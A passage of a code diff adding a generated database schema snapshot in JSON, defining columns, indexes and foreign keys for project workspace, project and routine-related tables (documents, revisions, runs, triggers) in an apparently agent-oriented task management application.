+          "name": "remote_provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_workspace_ref": {
+          "name": "remote_workspace_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_workspace_key": {
+          "name": "shared_workspace_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_workspaces_company_project_idx": {
+          "name": "project_workspaces_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_primary_idx": {
+          "name": "project_workspaces_project_primary_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_primary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_source_type_idx": {
+          "name": "project_workspaces_project_source_type_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_company_shared_key_idx": {
+          "name": "project_workspaces_company_shared_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "shared_workspace_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_remote_ref_idx": {
+          "name": "project_workspaces_project_remote_ref_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_workspace_ref",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_workspaces_company_id_companies_id_fk": {
+          "name": "project_workspaces_company_id_companies_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "project_workspaces_project_id_projects_id_fk": {
+          "name": "project_workspaces_project_id_projects_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.projects": {
+      "name": "projects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "lead_agent_id": {
+          "name": "lead_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_date": {
+          "name": "target_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_policy": {
+          "name": "execution_workspace_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "projects_company_idx": {
+          "name": "projects_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "projects_company_id_companies_id_fk": {
+          "name": "projects_company_id_companies_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_goal_id_goals_id_fk": {
+          "name": "projects_goal_id_goals_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_lead_agent_id_agents_id_fk": {
+          "name": "projects_lead_agent_id_agents_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lead_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_documents": {
+      "name": "routine_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_documents_company_routine_key_uq": {
+          "name": "routine_documents_company_routine_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_document_uq": {
+          "name": "routine_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_company_routine_updated_idx": {
+          "name": "routine_documents_company_routine_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_documents_company_id_companies_id_fk": {
+          "name": "routine_documents_company_id_companies_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routine_documents_routine_id_routines_id_fk": {
+          "name": "routine_documents_routine_id_routines_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_documents_document_id_documents_id_fk": {
+          "name": "routine_documents_document_id_documents_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_revisions": {
+      "name": "routine_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "restored_from_revision_id": {
+          "name": "restored_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_revisions_routine_revision_uq": {
+          "name": "routine_revisions_routine_revision_uq",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_routine_created_idx": {
+          "name": "routine_revisions_company_routine_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_responsible_user_idx": {
+          "name": "routine_revisions_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_revisions_company_id_companies_id_fk": {
+          "name": "routine_revisions_company_id_companies_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_routine_id_routines_id_fk": {
+          "name": "routine_revisions_routine_id_routines_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_restored_from_revision_id_routine_revisions_id_fk": {
+          "name": "routine_revisions_restored_from_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "restored_from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "routine_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "routine_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_runs": {
+      "name": "routine_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_id": {
+          "name": "trigger_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'received'"
+        },
+        "triggered_at": {
+          "name": "triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "routine_revision_id": {
+          "name": "routine_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_payload": {
+          "name": "trigger_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "dispatch_fingerprint": {
+          "name": "dispatch_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_issue_id": {
+          "name": "linked_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "coalesced_into_run_id": {
+          "name": "coalesced_into_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_runs_company_routine_idx": {
+          "name": "routine_runs_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_revision_idx": {
+          "name": "routine_runs_revision_idx",
+          "columns": [
+            {
+              "expression": "routine_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_company_responsible_user_idx": {
+          "name": "routine_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idx": {
+          "name": "routine_runs_trigger_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_dispatch_fingerprint_idx": {
+          "name": "routine_runs_dispatch_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "dispatch_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_linked_issue_idx": {
+          "name": "routine_runs_linked_issue_idx",
+          "columns": [
+            {
+              "expression": "linked_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idempotency_idx": {
+          "name": "routine_runs_trigger_idempotency_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_runs_company_id_companies_id_fk": {
+          "name": "routine_runs_company_id_companies_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_id_routines_id_fk": {
+          "name": "routine_runs_routine_id_routines_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_trigger_id_routine_triggers_id_fk": {
+          "name": "routine_runs_trigger_id_routine_triggers_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_triggers",
+          "columnsFrom": [
+            "trigger_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_revision_id_routine_revisions_id_fk": {
+          "name": "routine_runs_routine_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "routine_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_linked_issue_id_issues_id_fk": {
+          "name": "routine_runs_linked_issue_id_issues_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "linked_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_triggers": {
+      "name": "routine_triggers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "cron_expression": {
+          "name": "cron_expression",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timezone": {
+          "name": "timezone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_fired_at": {
+          "name": "last_fired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "public_id": {
+          "name": "public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signing_mode": {
+          "name": "signing_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "replay_window_sec": {
+          "name": "replay_window_sec",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_result": {
+          "name": "last_result",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_triggers_company_routine_idx": {
+          "name": "routine_triggers_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_company_kind_idx": {
+          "name": "routine_triggers_company_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_next_run_idx": {
+          "name": "routine_triggers_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_idx": {
+          "name": "routine_triggers_public_id_idx",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_uq": {
+          "name": "routine_triggers_public_id_uq",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_triggers_company_id_companies_id_fk": {
+          "name": "routine_triggers_company_id_companies_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_routine_id_routines_id_fk": {
+          "name": "routine_triggers_routine_id_routines_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_secret_id_company_secrets_id_fk": {
+          "name": "routine_triggers_secret_id_company_secrets_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_created_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_updated_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routines": {
+      "name": "routines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
